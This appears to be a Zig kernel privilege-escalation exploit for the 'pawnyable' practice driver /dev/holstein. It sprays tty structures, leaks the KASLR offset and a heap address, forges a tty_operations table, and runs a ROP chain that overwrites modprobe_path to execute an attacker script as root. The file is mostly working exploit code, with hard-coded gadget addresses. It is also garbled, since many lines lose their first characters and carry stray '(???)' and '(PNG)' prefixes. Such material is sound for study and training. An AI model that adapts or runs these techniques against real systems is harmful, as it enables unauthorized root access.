(???) onst std = @import("std");
 (PNG) ub const std_options = std.Options{
 (???)    .log_level = if (@hasDecl(@This(), "DEBUG")) .debug else .info,
 (???)    .logFn = pawnyableLogger,
 (???) ;
 (PNG) ub fn pawnyableLogger(
 (???)    comptime level: std.log.Level,
 (???)    comptime _: @Type(.enum_literal),
 (???)    comptime format: []const u8,
 (???)    args: anytype,
 (???)  void {
 (???)    const prefix = "[" ++ comptime blk: {
 (???)        const level_text = level.asText();
 (???)        var buf: [level_text.len]u8 = undefined;
 (???)        break :blk std.ascii.upperString(&buf, level_text);
 (???)    } ++ "] ";
 (???)    std.debug.lockStdErr();
 (???)    defer std.debug.unlockStdErr();
 (???)    const stderr = std.io.getStdErr().writer();
 (???)    nosuspend stderr.print(prefix ++ format ++ "\n", args) catch return;
 (???) 
 (???) n bigEndianify(comptime len: usize, buf: []const u8) [len]u8 {
 (???)    var bufLE: [len]u8 = undefined;
 (???)    inline for (0..len) |i| bufLE[i] = buf[len-1-i];
 (???)    return bufLE;
 (???) 
 (???) ar __spinlock: bool = false;
       nline fn spin() void {
 (???)    while (true) if (__spinlock) break;
 (???) 
 (???) xport var user_cs: u64 = 0;
 (???) xport var user_ss: u64 = 0;
 (???) xport var user_rsp: u64 = 0;
 (???) xport var user_rflags: u64 = 0;
 (???) n saveState() callconv(.C) void {
 (???)    asm volatile (
 (???)      \\.intel_syntax noprefix
 (???)      \\mov user_cs, cs
 (???)      \\mov user_ss, ss
 (???)      \\.att_syntax
 (???)    );
 (???) 
 (???) n whoami() void {
 (???)    std.log.info("You won!!", .{});
 (???)    const args = [_:null]?[*:0]const u8{"/usr/bin/whoami"};
 (???)    const env = [_:null]?[*:0]u8{};
 (???)    switch (std.posix.execveZ("/usr/bin/whoami", args[0..args.len], env[0..env.len])) {
 (???)        else => unreachable,
 (???)    }
 (???)    unreachable;
 (???) 
 (???) n modprobePath() void {
 (???)    std.log.info("You won!!", .{});
 (???)    const tmpx = std.fs.cwd().createFile(
 (???)        "/tmp/x", .{
 (???)            .read = true,
 (???)            .mode = 0o777,
 (???)        },
 (???)    ) catch unreachable;
 (???)    tmpx.writeAll(
 (???)        \\#!/bin/sh
 (???)        \\/usr/bin/whoami &> /tmp/whoisit
 (???)        \\chmod 777 /tmp/whoisit
 (???)    ) catch unreachable;
 (???)    tmpx.close();
 (???)    const unknown = std.fs.cwd().createFile(
 (???)        "/tmp/unknown", .{
 (???)            .read = true,
 (???)            .mode = 0o777,
 (???)        },
 (???)    ) catch unreachable;
 (???)    unknown.writeAll(&[_]u8{0xff}**4) catch unreachable;
 (???)    unknown.close();
 (???)    std.posix.exit(0);
 (???) 
 (???) n corePattern() void {
 (???)    std.log.info("You won!!", .{});
 (???)    const tmpx = std.fs.cwd().createFile(
 (???)        "/tmp/x", .{
 (???)            .read = true,
 (???)            .mode = 0o777,
 (???)        },
 (???)    ) catch unreachable;
 (???)    tmpx.writeAll(
 (???)        \\#!/bin/sh
 (???)        \\/usr/bin/whoami &> /tmp/whoisit
 (???)        \\chmod 777 /tmp/whoisit
 (???)    ) catch unreachable;
 (???)    tmpx.close();
 (???)    switch (std.posix.fork() catch unreachable) {
 (???)        0 => std.posix.abort(),
 (???)        else => |pid| _ = std.posix.waitpid(pid, 0),
 (???)    }
 (???)    const flag = std.fs.openFileAbsolute("/tmp/whoisit", .{}) catch {
 (???)        std.log.err("Failed to open /tmp/whoisit", .{});
 (???)    };
 (???)    defer flag.close();
 (???)    std.debug.print("{s}", .{(tmpx.reader().readBoundedBytes(32) catch unreachable).constSlice()});
 (???)    std.posix.exit(0);
 (???) 
 (???) n catchSigsegv(comptime handler: *const fn () void) void {
 (???)    const wrapper = struct { fn wrapper(_: i32) callconv(.C) void { handler(); } }.wrapper;
 (???)    const sigact = std.posix.Sigaction{
 (???)        .handler = .{ .handler = &wrapper },
 (???)        .mask = std.posix.empty_sigset,
 (???)        .flags = 0,
 (???)    };
 (???)    std.posix.sigaction(std.posix.SIG.SEGV, &sigact, null);
 (???) 
 (???) / as of 5.10.7
 (???) onst tty_struct = extern struct {
 (???)    const ld_semaphore = extern struct {
 (???)        const list_head = extern struct {
 (???)            next: usize = 0xdeadbeefdeadbeef,
 (???)            prev: usize = 0xcafebabecafebabe,
 (???)        };
 (???)        count: u64 = 0,
 (???)        wait_lock: i32 = 0,
 (???)        wait_readers: i32 = 0,
 (???)        read_wait: list_head = .{},
 (???)        write_wait: list_head = .{},
 (???)    };
 (???)    index: i32 = 0,
 (???)    ldisc_sem: ld_semaphore = .{},
 (???)    // don't care about the rest
 (???)    pub fn init(ops_table: usize) tty_struct {
 (???)        // ops_table must live on the heap
 (???)        return .{
 (???)            .driver = ops_table,
 (???)            .ops = ops_table,
 (???)            .ldisc_sem = .{
 (???)                .read_wait = .{ .next = ops_table, .prev = ops_table },
 (???)                .write_wait = .{ .next = ops_table, .prev = ops_table },
 (???)            },
 (???)        };
 (???)    }
 (???) ;
 (???) onst tty_operations = extern struct {
 (???)    close: usize = 0,
 (???)    shutdown: usize = 0,
 (???)    cleanup: usize = 0,
 (???)    write: usize = 0,
 (???)    put_char: usize = 0,
 (???)    flush_chars: usize = 0,
 (???)    write_room: usize = 0,
 (???)    chars_in_buffer: usize = 0,
 (???)    ioctl: usize,
 (???) ;
 (???) n spray(fds: []std.posix.fd_t) !void {
 (???)    for (0..fds.len) |i| {
 (???)        fds[i] = try std.posix.open("/dev/ptmx", .{ .ACCMODE = .RDONLY, .NOCTTY = true }, 0o660);
 (???)    }
 (???) 
 (???) n leakKASLROffset(fd: std.posix.fd_t) !u64 {
 (???)    const ptmx_fops_addr: u64 = 0xffffffff81c38880;
 (???)    var buf: [0x400+@offsetOf(tty_struct, "ops")+@sizeOf(@FieldType(tty_struct, "ops"))]u8 = undefined;
 (???)    _ = try std.posix.read(fd, &buf);
 (???)    const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
 (???)    return ret - ptmx_fops_addr;
 (???) 
 (???) n leakGBuf(fd: std.posix.fd_t) !u64 {
 (???)    const offset = comptime blk: {
 (???)        const ld_semaphore = @FieldType(tty_struct, "ldisc_sem");
 (???)        break :blk @offsetOf(tty_struct, "ldisc_sem") + @offsetOf(ld_semaphore, "read_wait") + @sizeOf(@typeInfo(@FieldType(ld_semaphore, "read_wait")).@"struct".fields[0].type);
 (???)    };
 (???)    var buf: [0x400+offset]u8 = undefined;
 (???)    _ = try std.posix.read(fd, &buf);
 (???)    const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
 (???)    return ret - (buf.len-8);
 (???) 
 (???) n posionTTYStruct(fd: std.posix.fd_t, g_buf_addr: u64) !void {
 (???)    const file = (std.fs.File{ .handle = fd }).writer();
 (???)    var bw = std.io.bufferedWriter(file);
 (???)    const writer = bw.writer();
 (???)    const fake_tty_ops = tty_operations{ .ioctl = PUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP };
 (???)    try writer.writeAll(std.mem.asBytes(&fake_tty_ops));
 (???)    var n_written: usize = @sizeOf(@TypeOf(fake_tty_ops));
 (???)    n_written += try ropchain(writer);
 (???)    try writer.writeByteNTimes('A', 0x400 - n_written);
 (???)    try writer.writeAll(std.mem.asBytes(&tty_struct{ .driver = g_buf_addr, .ops = g_buf_addr })[0..@offsetOf(tty_struct, "ops")+@sizeOf(@FieldType(tty_struct, "ops"))]);
 (???)    try bw.flush();
 (???) 
 (???) ar PUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP: u64 = 0xffffffff813a478a; // stack pivot gadget
 (???) ar MOV_ADDROF_RAX_RDI: u64 = 0xffffffff8110840a;
 (???) ar POP_RAX: u64 = 0xffffffff8113dd3c;
 (???) ar POP_RDI_ADD_CL_CL: u64 = 0xffffffff81032f59;
 (???) ar KPTI_TRAMPOLINE: u64 = 0xffffffff81800e10+22;
 (???) ar MODPROBE_PATH: u64 = 0xffffffff81e38180;
 (???) n ropchain(writer: anytype) !usize {
 (???)    const chain = [_]u64{
 (???)        0, // junk
 (???)        0, // junk
 (???)        POP_RDI_ADD_CL_CL,
 (???)        std.mem.readInt(u64, "/tmp/x\x00\x00", .little),
 (???)        POP_RAX,
 (???)        MODPROBE_PATH,
 (???)        MOV_ADDROF_RAX_RDI,
 (???)        KPTI_TRAMPOLINE,
 (???)        0, // junk
 (???)        0, // junk
 (???)        @intFromPtr(&modprobePath),
 (???)        user_cs,
 (???)        user_rflags,
 (???)        user_rsp,
 (???)        user_ss,
 (???)    };
 (???)    try writer.writeAll(std.mem.asBytes(&chain));
 (???)    return std.mem.asBytes(&chain).len;
 (???) 
 (???) n adjust_offsets(kaslr_offset: u64) void {
 (???)    const gadgets = &[_]*u64{
 (???)        &PUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP,
 (???)        &MOV_ADDROF_RAX_RDI,
 (???)        &POP_RAX,
 (???)        &POP_RDI_ADD_CL_CL,
 (???)        &KPTI_TRAMPOLINE,
 (???)        &MODPROBE_PATH,
 (???)    };
 (???)    for (gadgets) |g| {
 (???)        g.* += kaslr_offset;
 (???)    }
 (???) 
 (PNG) ub fn main() !void {
 (???)    catchSigsegv(&modprobePath);
 (???)    saveState();
 (???)    var ttys: [100]std.posix.fd_t = undefined;
 (???)    defer for (ttys) |tty| std.posix.close(tty);
 (???)    try spray(ttys[0..50]);
 (???)    const fd = try std.posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660);
 (???)    defer std.posix.close(fd);
 (???)    try spray(ttys[50..]);
 (???)    const kaslr_offset = try leakKASLROffset(fd);
 (???)    std.log.info("Kernel base: 0x{s}", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&(kaslr_offset+0xffffffff81000000))), .lower)});
 (???)    adjust_offsets(kaslr_offset);
 (???)    const g_buf = try leakGBuf(fd);
 (???)    std.log.info("g_buf located at: 0x{s}", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&g_buf)), .lower)});
 (???)    try posionTTYStruct(fd, g_buf);
 (???)    const ropchain_addr = g_buf + @sizeOf(tty_operations);
 (???)    var buf: [10]u8 = undefined;
 (???)    _ = try std.posix.read(fd, &buf);
 (???)    for (ttys) |tty| _ = std.os.linux.ioctl(tty, 0xdeadbeef, ropchain_addr);
 (???)